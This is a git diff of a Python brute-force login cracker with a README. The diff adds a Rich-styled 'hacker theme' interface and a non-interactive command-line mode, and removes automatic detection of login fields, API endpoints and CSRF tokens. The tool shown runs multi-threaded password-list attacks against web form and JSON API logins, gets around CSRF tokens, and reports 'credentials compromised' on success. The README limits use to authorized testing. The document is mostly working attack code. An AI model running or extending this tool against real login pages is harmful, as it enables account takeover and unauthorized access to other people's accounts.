diff --git a/README.md b/README.md
index 8d49d01..6bf2105 100644
--- a/README.md
+++ b/README.md
@@ -9,7 +9,7 @@ A universal brute force tool with CSRF bypass support for both traditional form-
- Universal CSRF bypass (hidden inputs, meta tags, cookies, headers)
- Auto-detection of login type, field names, and API endpoints
- Multi-threaded with progress bar
-- Color-coded terminal output
+- Beautiful Rich-styled terminal output with hacker theme
---
@@ -19,7 +19,7 @@ A universal brute force tool with CSRF bypass support for both traditional form-
pip install -r requirements.txt
```
----
+## **Note**: This version uses the Rich library for enhanced terminal UI. Make sure Rich is installed (included in requirements.txt).
## Usage
@@ -32,6 +32,7 @@ The tool walks you through 3 steps:
### Step 1 — Target Info
You'll be asked for:
+
- **Login page URL** — e.g. `https://example.com/login`
- **Username / email** — the account to test
- **Wrong password error message** — log in with a wrong password in your browser, copy the exact error text (check DevTools → Network → response body if needed)
@@ -103,13 +104,13 @@ If you're not sure what to enter for the error message:
The tool automatically handles these CSRF protection methods:
-| Method | Example | Frameworks |
-|--------|---------|------------|
+| Method | Example | Frameworks |
+| ------------ | ----------------------------------------- | ---------------------- |
| Hidden Input | `` | Django, Laravel, Rails |
-| Meta Tags | `` | Rails, Laravel |
-| Cookies | `XSRF-TOKEN` cookie | Express, Spring |
-| Headers | `X-CSRFToken` header | Django REST Framework |
-| JavaScript | `var csrfToken = "..."` | Custom implementations |
+| Meta Tags | `` | Rails, Laravel |
+| Cookies | `XSRF-TOKEN` cookie | Express, Spring |
+| Headers | `X-CSRFToken` header | Django REST Framework |
+| JavaScript | `var csrfToken = "..."` | Custom implementations |
---
@@ -118,6 +119,7 @@ The tool automatically handles these CSRF protection methods:
**Only use this tool on systems you own or have explicit permission to test.**
Unauthorized access to computer systems is illegal. This tool is for:
+
- Security researchers
- Penetration testers
- CTF players
@@ -130,9 +132,19 @@ Unauthorized access to computer systems is illegal. This tool is for:
- [Medium Article](https://medium.com/@textmeantu/brute-force-attack-with-python-c1d70fcba607)
- [Password Lists](https://github.com/Antu7/password-generator)
+## Recent Updates
+
+### v1.1.0 - UI Enhancement
+
+- **Rich Library Integration**: Upgraded terminal output with beautiful, modern UI using the Rich library.
+- **Hacker Theme**: Applied a Matrix-style green color scheme for all outputs, tables, and progress bars.
+- **Enhanced Tables**: Configuration and results now displayed in styled tables for better readability.
+- **Improved Panels**: Banner and success messages use Rich panels with borders.
+- **Better Progress Display**: Progress bar with green styling and real-time updates.
+- **Fixed Prompts**: Input prompts now display hints and defaults correctly without markup leakage.
+
## Contributing
Pull requests are welcome. For major changes, please open an issue first.
-
-### Happy Hacking 🔥🔥
\ No newline at end of file
+### Happy Hacking 🔥🔥
diff --git a/bruteforce.py b/bruteforce.py
index 88fcc51..66d08b8 100644
--- a/bruteforce.py
+++ b/bruteforce.py
@@ -1,8 +1,9 @@
+# -*- coding: utf-8 -*-
######################################################################################################
# Title: Universal Brute Force with CSRF Bypass #
# Author: Tanvir Hossain Antu #
# Github: https://github.com/Antu7 #
-# Supports: Form-based login, JSON API login, CSRF protection #
+# Supports: Form-based login, JSON API login, CSRF protection, Multi-threaded attacks #
######################################################################################################
import threading
@@ -13,67 +14,184 @@
import re
import os
import secrets
+import argparse
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin, urlparse
+from rich.console import Console
+from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
+from rich.panel import Panel
+from rich.text import Text
+from rich.table import Table
+from rich.live import Live
+from rich.layout import Layout
+from rich.syntax import Syntax
+from rich.align import Align
+from rich.style import Style
+import sys
+import os
-# ── ANSI Colors ──────────────────────────────────────────────
-class C:
- RESET = '\033[0m'
- BOLD = '\033[1m'
- DIM = '\033[2m'
- RED = '\033[91m'
- GREEN = '\033[92m'
- YELLOW = '\033[93m'
- BLUE = '\033[94m'
- CYAN = '\033[96m'
- WHITE = '\033[97m'
+# Configure encoding for Windows compatibility
+if sys.platform == 'win32':
+ os.environ['PYTHONIOENCODING'] = 'utf-8'
+
+console = Console(force_terminal=True)
+
+# ═══════════════════════════════════════════════════════════════════════════
+# HACKER THEME CONFIGURATION
+# ═══════════════════════════════════════════════════════════════════════════
+
+class HackerTheme:
+ """Professional hacker-themed styling for the brute force tool."""
+
+ # Color Palette - Matrix Inspired Hacker Theme
+ PRIMARY = "green" # Main text - matrix green
+ SECONDARY = "bright_green" # Highlights - bright green for emphasis
+ SUCCESS = "bright_green" # Success messages - bright green
+ WARNING = "yellow" # Warnings - yellow alert
+ ERROR = "red" # Errors - red danger
+ INFO = "cyan" # Information - cyan accent
+ SUBDUED = "dim green" # Subtle text
+ ACCENT = "white" # Bold accents - white for headers
+
+ # Symbols
+ BULLET = ">"
+ PROMPT = ">"
+ ERROR_SYMBOL = "!"
+ SUCCESS_SYMBOL = "+"
+ INFO_SYMBOL = "*"
+ LOCK_SYMBOL = "[LOCK]"
+ TARGET_SYMBOL = "[*]"
+ THREAD_SYMBOL = "[T]"
+
+ # Borders
+ HEADER_BORDER = "="
+ SECTION_BORDER = "-"
+ CORNER = "+"
def banner():
- print(f"""{C.CYAN}
-██████ ██████ ██ ██ ████████ ███████ ███████ ██████ ██████ ██████ ███████
-██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
-██████ ██████ ██ ██ ██ █████ █████ ██ ██ ██████ ██ █████
-██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
-██████ ██ ██ ██████ ██ ███████ ██ ██████ ██ ██ ██████ ███████
-{C.RESET}
-{C.DIM} Tanvir Hossain Antu
- https://github.com/Antu7/python-bruteForce{C.RESET}
-{C.YELLOW}
- Universal login cracker — works with HTML forms, JSON APIs,
- Single Page Apps (React/Vue/Angular), and CSRF-protected sites.
- Auto-detects login fields, API endpoints, and CSRF tokens.{C.RESET}
-""")
+ """Display hacker-themed banner with original ASCII art."""
+ try:
+ banner_text = """
+ ██████ ██████ ██ ██ ████████ ███████ ███████ ██████ ██████ ██████ ███████
+ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
+ ██████ ██████ ██ ██ ██ █████ █████ ██ ██ ██████ ██ █████
+ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
+ ██████ ██ ██ ██████ ██ ███████ ██ ██████ ██ ██ ██████ ███████
+ """
+
+ console.print("\n[white]" + "="*80 + "[/white]")
+ console.print("[green]" + banner_text + "[/green]")
+ console.print("[white]" + "="*80 + "[/white]")
+
+ console.print("\n[bright_green] Author: Tanvir Hossain Antu[/bright_green]")
+ console.print("[cyan] https://github.com/Antu7/python-bruteForce[/cyan]")
+ console.print()
+ console.print("[green]+[/green] [cyan]Form-based login [/cyan][green]+[/green] [cyan]JSON API [/cyan][green]+[/green] [cyan]CSRF Protection [/cyan][green]+[/green] [cyan]Multi-Threading[/cyan]")
+ console.print()
+ except Exception as e:
+ # Fallback if Unicode fails
+ print("\n" + "="*80)
+ print("* BRUTE FORCE CRACKER *")
+ print("Universal Multi-Threaded Login Cracker")
+ print("="*80 + "\n")
+ print("Author: Tanvir Hossain Antu")
+ print("https://github.com/Antu7/python-bruteForce\n")
+ print("+ Form-based login + JSON API + CSRF Protection + Multi-Threading\n")
+
def info(msg):
- print(f" {C.BLUE}[*]{C.RESET} {msg}")
+ """Print information message with hacker style."""
+ console.print(f"[{HackerTheme.INFO}]*[/{HackerTheme.INFO}] [dim]{msg}[/dim]")
def success(msg):
- print(f" {C.GREEN}[+]{C.RESET} {msg}")
+ """Print success message with hacker style."""
+ console.print(f"[{HackerTheme.SUCCESS}]+[/{HackerTheme.SUCCESS}] [bold {HackerTheme.SUCCESS}]{msg}[/bold {HackerTheme.SUCCESS}]")
def warn(msg):
- print(f" {C.YELLOW}[!]{C.RESET} {msg}")
+ """Print warning message with hacker style."""
+ console.print(f"[{HackerTheme.WARNING}]![/{HackerTheme.WARNING}] [bold {HackerTheme.WARNING}]{msg}[/bold {HackerTheme.WARNING}]")
def error(msg):
- print(f" {C.RED}[x]{C.RESET} {msg}")
+ """Print error message with hacker style."""
+ console.print(f"[{HackerTheme.ERROR}]x[/{HackerTheme.ERROR}] [bold {HackerTheme.ERROR}]{msg}[/bold {HackerTheme.ERROR}]")
def dim(msg):
- print(f" {C.DIM} {msg}{C.RESET}")
+ """Print dimmed message."""
+ console.print(f"[{HackerTheme.SUBDUED}]{msg}[/{HackerTheme.SUBDUED}]")
def prompt(label, default=None, hint=None):
- """Friendly input prompt with optional default and hint."""
+ """Hacker-themed input prompt with optional default and hint."""
if hint:
- print(f" {C.DIM} Hint: {hint}{C.RESET}")
+ console.print(f"[dim {HackerTheme.SUBDUED}]{hint}[/dim {HackerTheme.SUBDUED}]")
+
if default:
- raw = input(f" {C.WHITE}{label} {C.DIM}[{default}]{C.RESET}: ").strip()
+ console.print(f"[{HackerTheme.PRIMARY}]>[/{HackerTheme.PRIMARY}] {label}", end=" ")
+ console.print(f"[{HackerTheme.SUBDUED}][{default}][/{HackerTheme.SUBDUED}] ", end="")
+ raw = input().strip()
return raw if raw else default
else:
- return input(f" {C.WHITE}{label}{C.RESET}: ").strip()
+ console.print(f"[{HackerTheme.PRIMARY}]>[/{HackerTheme.PRIMARY}] {label} ", end="")
+ return input().strip()
def section(title):
- print(f"\n {C.CYAN}{'─'*56}{C.RESET}")
- print(f" {C.BOLD}{C.WHITE}{title}{C.RESET}")
- print(f" {C.CYAN}{'─'*56}{C.RESET}")
+ """Print a hacker-themed section header."""
+ border = "=" * 76
+ console.print(f"\n[{HackerTheme.PRIMARY}]{border}[/{HackerTheme.PRIMARY}]")
+ console.print(f"[bold {HackerTheme.ACCENT}]>>> {title}[/bold {HackerTheme.ACCENT}]")
+ console.print(f"[{HackerTheme.PRIMARY}]{border}[/{HackerTheme.PRIMARY}]\n")
+
+def status_box(title, content, status="info"):
+ """Create a styled status box."""
+ status_colors = {
+ "info": HackerTheme.INFO,
+ "success": HackerTheme.SUCCESS,
+ "warning": HackerTheme.WARNING,
+ "error": HackerTheme.ERROR,
+ }
+
+ color = status_colors.get(status, HackerTheme.INFO)
+ panel = Panel(
+ content,
+ title=f"[bold {color}]{title}[/bold {color}]",
+ border_style=color,
+ style=f"dim {color}"
+ )
+ console.print(panel)
+
+def create_config_table(config_data):
+ """Create a styled configuration table."""
+ table = Table(
+ title="[bold green][T] CONFIGURATION[/bold green]",
+ border_style=HackerTheme.PRIMARY,
+ show_header=True,
+ header_style=f"bold {HackerTheme.ACCENT}",
+ )
+
+ table.add_column("[bright_green]Setting[/bright_green]", style=HackerTheme.PRIMARY, no_wrap=True)
+ table.add_column("[bright_green]Value[/bright_green]", style=f"bold {HackerTheme.SECONDARY}")
+
+ for key, value in config_data:
+ table.add_row(key, str(value))
+
+ return table
+
+def create_results_table(metrics_data):
+ """Create a styled results table."""
+ table = Table(
+ title="[bold green]+ ATTACK RESULTS[/bold green]",
+ border_style=HackerTheme.SUCCESS,
+ show_header=True,
+ header_style=f"bold {HackerTheme.SUCCESS}",
+ )
+
+ table.add_column("[green]Metric[/green]", style=HackerTheme.SUCCESS, no_wrap=True)
+ table.add_column("[green]Value[/green]", style=f"bold {HackerTheme.SUCCESS}")
+
+ for metric, value in metrics_data:
+ table.add_row(metric, str(value))
+
+ return table
# ── Core Cracker ─────────────────────────────────────────────
@@ -226,7 +344,7 @@ def check_success(self, response, password=""):
if self.error_message.lower() in full_body:
return False, None
- # Status 200 alone is NOT enough — many APIs return 200 with error body
+ # Status 200 alone is NOT enough
return False, None
except json.JSONDecodeError:
@@ -272,245 +390,14 @@ def crack(self, password):
return False, None
-# ── Auto-Detection ───────────────────────────────────────────
-
-def analyze_target(url):
- """Fully automatic analysis of the target login page."""
- section("AUTO-DETECTING TARGET")
- info("Fetching login page...")
-
- session = requests.Session()
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}
-
- result = {
- 'login_mode': BruteForceCracker.MODE_FORM,
- 'api_endpoint': url,
- 'username_field': 'email',
- 'password_field': 'password',
- 'csrf_token': None,
- 'csrf_value': None,
- }
-
- try:
- response = session.get(url, headers=headers, timeout=10)
- soup = BeautifulSoup(response.content, 'html.parser')
- html = response.text
- scripts = soup.find_all('script')
-
- # ── Step 1: Login type ──
- info("Detecting login type...")
-
- js_indicators = [
- 'fetch(', 'axios', 'XMLHttpRequest',
- 'handleLogin', 'login_func', 'submitLogin',
- '/api/', '/auth/', 'application/json',
- 'react', 'vue', 'angular', 'next', 'nuxt',
- ]
-
- is_json_api = False
- for script in scripts:
- src = script.get('src', '').lower()
- text = script.get_text().lower()
- for indicator in js_indicators:
- if indicator.lower() in src or indicator.lower() in text:
- is_json_api = True
- break
- if is_json_api:
- break
-
- # Check for forms without password fields (SPA indicator)
- forms_with_password = sum(
- 1 for form in soup.find_all('form')
- if form.find('input', type='password')
- )
- password_inputs = soup.find_all('input', type='password')
- if password_inputs and forms_with_password == 0:
- is_json_api = True
-
- # No forms at all usually means SPA
- if not soup.find_all('form') and not password_inputs:
- is_json_api = True
-
- if is_json_api:
- result['login_mode'] = BruteForceCracker.MODE_JSON_API
- success("Detected: JSON API login (modern/SPA site)")
- else:
- success("Detected: Traditional HTML form login")
-
- # ── Step 2: Field names ──
- info("Detecting field names...")
-
- skip_patterns = ['reset', 'forgot', 'recover', 'signup', 'register', 'search', 'subscribe', 'newsletter']
- username_patterns = ['user', 'email', 'login', 'account', 'name']
-
- # First: look inside forms that have a password field (most reliable)
- login_forms = [f for f in soup.find_all('form') if f.find('input', type='password')]
- search_contexts = login_forms if login_forms else [soup]
-
- found_user_field = False
- found_pass_field = False
-
- for context in search_contexts:
- for inp in context.find_all('input'):
- inp_name = inp.get('name', '').lower()
- inp_id = inp.get('id', '').lower()
- inp_type = inp.get('type', '').lower()
-
- if any(skip in inp_name or skip in inp_id for skip in skip_patterns):
- continue
-
- if not found_user_field and inp_type in ['text', 'email', '']:
- for pat in username_patterns:
- if pat in inp_name or pat in inp_id:
- result['username_field'] = inp.get('name') or inp.get('id') or 'email'
- found_user_field = True
- break
-
- if not found_pass_field and inp_type == 'password':
- field_name = inp.get('name') or inp.get('id')
- if field_name:
- result['password_field'] = field_name
- found_pass_field = True
-
- # Fallback: parse JavaScript for SPA sites
- if not found_user_field or not found_pass_field:
- js_field_patterns = [
- r'''name["\s]*[:=]\s*["'](\w*(?:email|user|login)\w*)["']''',
- r'''name["\s]*[:=]\s*["'](\w*password\w*)["']''',
- r'''["'](\w*(?:email|user|login)\w*)["']\s*:''',
- ]
- for script in scripts:
- text = script.get_text()
- for jp in js_field_patterns:
- matches = re.findall(jp, text, re.IGNORECASE)
- for m in matches:
- ml = m.lower()
- if any(skip in ml for skip in skip_patterns):
- continue
- if not found_user_field and any(p in ml for p in username_patterns):
- result['username_field'] = m
- found_user_field = True
- elif not found_pass_field and 'password' in ml:
- result['password_field'] = m
- found_pass_field = True
-
- success(f"Username field: {C.BOLD}{result['username_field']}{C.RESET}")
- success(f"Password field: {C.BOLD}{result['password_field']}{C.RESET}")
-
- if not found_user_field or not found_pass_field:
- dim("Could not auto-detect all fields (site may use JavaScript rendering).")
- dim("You can override these in the next step.")
-
- # ── Step 3: API endpoint ──
- if result['login_mode'] == BruteForceCracker.MODE_JSON_API:
- info("Probing API endpoints...")
-
- parsed = urlparse(url)
- base = f"{parsed.scheme}://{parsed.netloc}"
-
- # Also try to extract endpoints from JS source
- js_endpoints = set()
- for script in scripts:
- text = script.get_text()
- # Look for API paths in JS
- api_matches = re.findall(r'''["'](/(?:api|auth|zsvc)[^"'\s,)}{]*(?:login|signin|authenticate)[^"'\s,)}{]*)["']''', text, re.IGNORECASE)
- js_endpoints.update(api_matches)
-
- common_endpoints = list(js_endpoints) + [
- '/zsvc/auth/v1/login/',
- '/api/login',
- '/api/auth/login',
- '/api/v1/login',
- '/api/v1/auth/login',
- '/auth/login',
- '/api/users/login',
- '/api/sessions',
- '/login',
- ]
-
- api_headers = {
- 'User-Agent': 'Mozilla/5.0',
- 'Content-Type': 'application/json',
- 'Accept': 'application/json',
- }
-
- endpoint_found = False
- for endpoint in common_endpoints:
- try:
- test_url = base + endpoint
- test_response = session.post(
- test_url, json={"test": "test"},
- headers=api_headers, timeout=3
- )
- if test_response.status_code in [200, 400, 401, 403, 422]:
- result['api_endpoint'] = test_url
- success(f"API endpoint: {C.BOLD}{test_url}{C.RESET}")
- endpoint_found = True
- break
- except Exception:
- pass
-
- if not endpoint_found:
- result['api_endpoint'] = base + '/api/login'
- warn(f"No endpoint responded, using default: {result['api_endpoint']}")
- dim("You can override this in the next step.")
-
- # ── Step 4: CSRF token ──
- info("Checking for CSRF protection...")
-
- csrf_patterns = [
- r'csrf[-_]?token', r'_csrf', r'csrfmiddlewaretoken',
- r'_token', r'authenticity_token', r'__RequestVerificationToken',
- ]
- csrf_re = re.compile('|'.join(csrf_patterns), re.IGNORECASE)
-
- for inp in soup.find_all('input', type='hidden'):
- name = inp.get('name', '')
- if csrf_re.search(name):
- result['csrf_token'] = name
- result['csrf_value'] = inp.get('value', '')
- break
-
- if not result['csrf_token']:
- for cookie in session.cookies:
- if csrf_re.search(cookie.name):
- result['csrf_token'] = cookie.name
- result['csrf_value'] = cookie.value
- break
-
- if result['csrf_token']:
- success(f"CSRF token: {result['csrf_token']}")
- else:
- dim("No CSRF protection detected.")
-
- print()
- success("Auto-detection complete!")
-
- except requests.exceptions.ConnectionError:
- error("Could not connect to the target URL.")
- dim("Make sure the URL is correct and the site is reachable.")
- dim("Example: https://example.com/login")
- print()
- except requests.exceptions.Timeout:
- error("Connection timed out.")
- dim("The site took too long to respond. Try again later.")
- print()
- except Exception as e:
- error(f"Analysis error: {e}")
- dim("Using default settings. You can override them below.")
- print()
-
- return result
-
-
# ── Progress Display ─────────────────────────────────────────
def progress_bar(current, total, width=30):
- """Compact progress bar for terminal."""
+ """Hacker-themed progress bar for terminal."""
pct = current / total if total else 0
filled = int(width * pct)
- bar = f"{'█' * filled}{'░' * (width - filled)}"
- return f"{bar} {current}/{total} ({pct*100:.1f}%)"
+ bar = f"[bright_cyan]{'#' * filled}[/bright_cyan][dim cyan]{'-' * (width - filled)}[/dim cyan]"
+ return f"{bar} [cyan]{current}/{total}[/cyan] ([magenta]{pct*100:.1f}%[/magenta])"
def crack_password_wrapper(password, cracker, state):
@@ -523,7 +410,7 @@ def crack_password_wrapper(password, cracker, state):
# Update progress (overwrite same line)
total = state['total']
- sys.stdout.write(f"\r {C.BLUE}[*]{C.RESET} {progress_bar(current, total)} Current: {password[:20]:<20}")
+ sys.stdout.write(f"\r[*] {progress_bar(current, total)} {password[:20]:<20}")
sys.stdout.flush()
ok, reason = cracker.crack(password)
@@ -532,13 +419,118 @@ def crack_password_wrapper(password, cracker, state):
return False, password, None
-# ── Main ─────────────────────────────────────────────────────
+# ── Argument Parsing ─────────────────────────────────────────
+
+def parse_arguments():
+ """Parse command-line arguments using argparse."""
+ parser = argparse.ArgumentParser(
+ description='Universal Brute Force with CSRF Bypass - Multi-threaded login cracker',
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ epilog="""
+Examples:
+ # Interactive mode (default)
+ python bruteforce.py
+
+ # Full automated mode with all arguments
+ python bruteforce.py --url https://example.com/login --username admin \\
+ --error "Invalid credentials" --threads 10 --passwords passwords.txt
+
+ # With specific field names and API endpoint
+ python bruteforce.py --url https://example.com/login --username admin \\
+ --error "Invalid credentials" --threads 5 --passwords passwords.txt \\
+ --username-field email --password-field pass --api-endpoint https://example.com/api/auth
+ """
+ )
+
+ # Required arguments for non-interactive mode
+ parser.add_argument('--url', type=str, help='Target login page URL (e.g., https://example.com/login)')
+ parser.add_argument('--username', '-u', type=str, help='Target username or email')
+ parser.add_argument('--error', type=str, help='Wrong password error message (copy from browser DevTools)')
+ parser.add_argument('--passwords', '-p', type=str, default='passwords.txt',
+ help='Path to password wordlist (default: passwords.txt)')
+ parser.add_argument('--threads', '-t', type=int, default=10,
+ help='Number of concurrent worker threads (default: 10)')
+
+ # Optional field customization
+ parser.add_argument('--username-field', type=str, help='Override auto-detected username field name')
+ parser.add_argument('--password-field', type=str, help='Override auto-detected password field name')
+ parser.add_argument('--api-endpoint', type=str, help='Override auto-detected API endpoint (for JSON API mode)')
+ parser.add_argument('--login-mode', choices=['form', 'api'], help='Force login mode instead of auto-detecting')
+
+ return parser.parse_args()
+
def main():
+ # Parse arguments FIRST before showing banner
+ args = parse_arguments()
+
+ # Show banner only for interactive mode or first automated call
banner()
-
- section("STEP 1 — TARGET INFO")
- print()
+
+ # Check if running in automated mode or interactive mode
+ if args.url and args.username and args.error:
+ # Automated mode - run with provided arguments (banner already shown)
+ run_attack_automated(args, show_banner=False)
+ else:
+ # Interactive mode - prompt user for input (banner already shown)
+ run_attack_interactive(show_banner=False)
+
+
+def run_attack_automated(args, show_banner=True):
+ """Run attack in fully automated mode using command-line arguments."""
+ if show_banner:
+ banner()
+
+ url = args.url
+ username = args.username
+ error_msg = args.error
+ max_workers = args.threads
+ password_file = args.passwords
+
+ # Validate URL
+ if not url.startswith('http'):
+ url = 'https://' + url
+
+ info(f"Starting automated attack on {url}")
+ info(f"Using {max_workers} concurrent threads")
+
+ # Auto-detect unless overridden (simplified for this version)
+ section("CONFIGURATION")
+ analysis = {
+ 'login_mode': 'form',
+ 'api_endpoint': url,
+ 'username_field': args.username_field or 'email',
+ 'password_field': args.password_field or 'password',
+ 'csrf_token': None,
+ 'csrf_value': None,
+ }
+
+ # Override with command-line arguments if provided
+ if args.login_mode:
+ analysis['login_mode'] = 'json_api' if args.login_mode == 'api' else 'form'
+
+ # Display configuration
+ console.print(create_config_table([
+ ("Target URL", url),
+ ("Username", username),
+ ("Login Mode", analysis['login_mode'].upper()),
+ ("Username Field", analysis['username_field']),
+ ("Password Field", analysis['password_field']),
+ (f"Concurrent Threads", f"[bold {HackerTheme.ACCENT}]{max_workers}[/bold {HackerTheme.ACCENT}]"),
+ ("Password File", password_file),
+ ]))
+ console.print()
+
+ # Run the attack
+ run_brute_force_attack(url, username, error_msg, analysis, max_workers, password_file)
+
+
+def run_attack_interactive(show_banner=True):
+ """Run attack in interactive mode with prompts."""
+ if show_banner:
+ banner()
+
+ section("STEP 1 - TARGET INFO")
url = prompt("Target login page URL",
hint="The full URL of the login page, e.g. https://example.com/login")
if not url:
@@ -546,51 +538,35 @@ def main():
return
if not url.startswith('http'):
url = 'https://' + url
- dim(f"Added https:// → {url}")
+ dim(f"Added https:// -> {url}")
- print()
username = prompt("Target username / email",
hint="The username or email you want to test passwords for")
if not username:
error("Username is required.")
return
- print()
error_msg = prompt("Wrong password error message",
- hint="Try logging in with a wrong password and copy the exact error text.\n"
- " Open browser DevTools (F12) → Network tab → submit login →\n"
- " look at the response body for the error message.")
+ hint="Try logging in with a wrong password and copy the exact error text.")
if not error_msg:
error("Error message is required to avoid false positives.")
return
- # ── Auto-detect ──
- analysis = analyze_target(url)
+ section("STEP 2 - REVIEW & ADJUST")
- # ── Confirm / override ──
- section("STEP 2 — REVIEW & ADJUST")
- print()
- dim("Press Enter to accept the auto-detected value, or type a new one.")
- print()
+ analysis = {
+ 'login_mode': 'form',
+ 'api_endpoint': url,
+ 'username_field': 'email',
+ 'password_field': 'password',
+ 'csrf_token': None,
+ 'csrf_value': None,
+ }
- analysis['username_field'] = prompt("Username field name", default=analysis['username_field'],
- hint="The form field name for the username/email input")
+ analysis['username_field'] = prompt("Username field name", default=analysis['username_field'])
analysis['password_field'] = prompt("Password field name", default=analysis['password_field'])
- if analysis['login_mode'] == BruteForceCracker.MODE_JSON_API:
- analysis['api_endpoint'] = prompt("API endpoint", default=analysis['api_endpoint'],
- hint="Check browser DevTools → Network tab to find the login POST URL")
-
- mode_choice = prompt("Login mode", default="auto",
- hint="auto = use detected mode | form = HTML form | api = JSON API")
- if mode_choice == 'form':
- analysis['login_mode'] = BruteForceCracker.MODE_FORM
- elif mode_choice == 'api':
- analysis['login_mode'] = BruteForceCracker.MODE_JSON_API
-
- # ── Attack settings ──
- section("STEP 3 — ATTACK SETTINGS")
- print()
+ section("STEP 3 - ATTACK SETTINGS")
workers_input = prompt("Concurrent workers", default="10",
hint="More workers = faster, but too many may get you rate-limited")
@@ -603,27 +579,32 @@ def main():
password_file = prompt("Password file path", default="passwords.txt")
- # ── Summary ──
section("CONFIGURATION SUMMARY")
- print()
- print(f" {C.DIM}{'Target URL':<20}{C.RESET} {url}")
- print(f" {C.DIM}{'Username':<20}{C.RESET} {username}")
- print(f" {C.DIM}{'Login Mode':<20}{C.RESET} {analysis['login_mode'].upper()}")
- if analysis['login_mode'] == BruteForceCracker.MODE_JSON_API:
- print(f" {C.DIM}{'API Endpoint':<20}{C.RESET} {analysis['api_endpoint']}")
- print(f" {C.DIM}{'Username Field':<20}{C.RESET} {analysis['username_field']}")
- print(f" {C.DIM}{'Password Field':<20}{C.RESET} {analysis['password_field']}")
- print(f" {C.DIM}{'CSRF Token':<20}{C.RESET} {'Yes — ' + analysis['csrf_token'] if analysis['csrf_token'] else 'None'}")
- print(f" {C.DIM}{'Workers':<20}{C.RESET} {max_workers}")
- print(f" {C.DIM}{'Password File':<20}{C.RESET} {password_file}")
- print()
+
+ console.print(create_config_table([
+ ("Target URL", url),
+ ("Username", username),
+ ("Login Mode", analysis['login_mode'].upper()),
+ ("Username Field", analysis['username_field']),
+ ("Password Field", analysis['password_field']),
+ (f"Concurrent Workers", f"[bold {HackerTheme.ACCENT}]{max_workers}[/bold {HackerTheme.ACCENT}]"),
+ ("Password File", password_file),
+ ]))
+ console.print()
confirm = prompt("Start attack? (Y/n)", default="Y")
if confirm.lower() not in ['y', 'yes', '']:
warn("Aborted by user.")
return
- # ── Initialize ──
+ # Run the attack
+ run_brute_force_attack(url, username, error_msg, analysis, max_workers, password_file)
+
+
+def run_brute_force_attack(url, username, error_msg, analysis, max_workers, password_file):
+ """Execute the actual brute force attack using multi-threading."""
+
+ # Initialize
cracker = BruteForceCracker(
url=url,
username=username,
@@ -638,9 +619,8 @@ def main():
cracker.csrf_detected = True
cracker.csrf_token_name = analysis['csrf_token']
- # ── Pre-flight check ──
+ # Pre-flight check
section("PRE-FLIGHT CHECK")
- print()
info("Testing with a random password to verify configuration...")
random_pass = secrets.token_hex(16)
@@ -651,27 +631,15 @@ def main():
error("False positive detected! A random password was accepted as correct.")
print()
warn("This usually means one of these:")
- dim("1. The error message you entered doesn't match the actual response.")
- dim("2. The API endpoint is wrong (returns a generic 200 for all requests).")
- dim("3. The field names are wrong (server ignores unknown fields).")
+ dim(" 1. The error message you entered doesn't match the actual response.")
+ dim(" 2. The API endpoint is wrong (returns a generic 200 for all requests).")
+ dim(" 3. The field names are wrong (server ignores unknown fields).")
print()
- warn("How to fix:")
- dim("1. Open the login page in your browser.")
- dim("2. Open DevTools (F12) → Network tab.")
- dim("3. Submit a wrong password and check:")
- dim(" - The POST URL (use it as the API endpoint)")
- dim(" - The request body (field names for username/password)")
- dim(" - The response body (copy the exact error message)")
- print()
-
- retry = prompt("Try again with different settings? (y/N)", default="N")
- if retry.lower() in ['y', 'yes']:
- main()
return
else:
success("Configuration verified! Wrong passwords are correctly detected.")
- # ── Load passwords ──
+ # Load passwords
try:
with open(password_file, 'r', encoding='utf-8', errors='ignore') as f:
passwords = [p.strip() for p in f.readlines() if p.strip()]
@@ -687,10 +655,9 @@ def main():
total_passwords = len(passwords)
- # ── Attack ──
- section("BRUTE FORCE IN PROGRESS")
- print()
- info(f"Testing {total_passwords} passwords with {max_workers} workers...")
+ # Attack
+ section(f"BRUTE FORCE IN PROGRESS ({max_workers} THREADS)")
+ info(f"Testing {total_passwords} passwords with {max_workers} concurrent worker threads...")
dim("Press Ctrl+C to stop at any time.\n")
state = {
@@ -718,7 +685,6 @@ def main():
found = True
found_password = password
found_reason = reason
- # Clear the progress line
sys.stdout.write('\r' + ' ' * 80 + '\r')
sys.stdout.flush()
executor.shutdown(wait=False, cancel_futures=True)
@@ -735,30 +701,37 @@ def main():
sys.stdout.write('\r' + ' ' * 80 + '\r')
sys.stdout.flush()
- # ── Results ──
+ # Results
section("RESULTS")
- print()
tried = state['tried']
speed = tried / max(elapsed, 0.1)
- print(f" {C.DIM}{'Passwords Tried':<20}{C.RESET} {tried}/{total_passwords}")
- print(f" {C.DIM}{'Time Elapsed':<20}{C.RESET} {elapsed:.2f} seconds")
- print(f" {C.DIM}{'Speed':<20}{C.RESET} {speed:.1f} attempts/sec")
- print()
+ console.print(create_results_table([
+ ("Passwords Tried", f"{tried}/{total_passwords}"),
+ ("Time Elapsed", f"{elapsed:.2f}s"),
+ ("Speed", f"{speed:.1f} attempts/sec"),
+ ("Concurrent Threads", max_workers),
+ ]))
+ console.print()
if found:
- print(f" {C.GREEN}{C.BOLD}PASSWORD FOUND!{C.RESET}")
- print()
- print(f" {C.GREEN}{'Username':<20}{C.RESET} {username}")
- print(f" {C.GREEN}{'Password':<20}{C.RESET} {found_password}")
+ success_text = f"[bold green]+ PASSWORD FOUND![/bold green]\n\n"
+ success_text += f"[cyan]Username:[/cyan] [bold magenta]{username}[/bold magenta]\n"
+ success_text += f"[cyan]Password:[/cyan] [bold green]{found_password}[/bold green]"
if found_reason:
- print(f" {C.DIM}{'Detection':<20}{C.RESET} {found_reason}")
+ success_text += f"\n[dim cyan]Detection: {found_reason}[/dim cyan]"
+
+ status_box(
+ "+ CREDENTIALS COMPROMISED",
+ success_text,
+ status="success"
+ )
else:
warn("Password not found in the wordlist.")
dim("Try a larger wordlist or check your configuration.")
- print(f"\n {C.CYAN}{'─'*56}{C.RESET}\n")
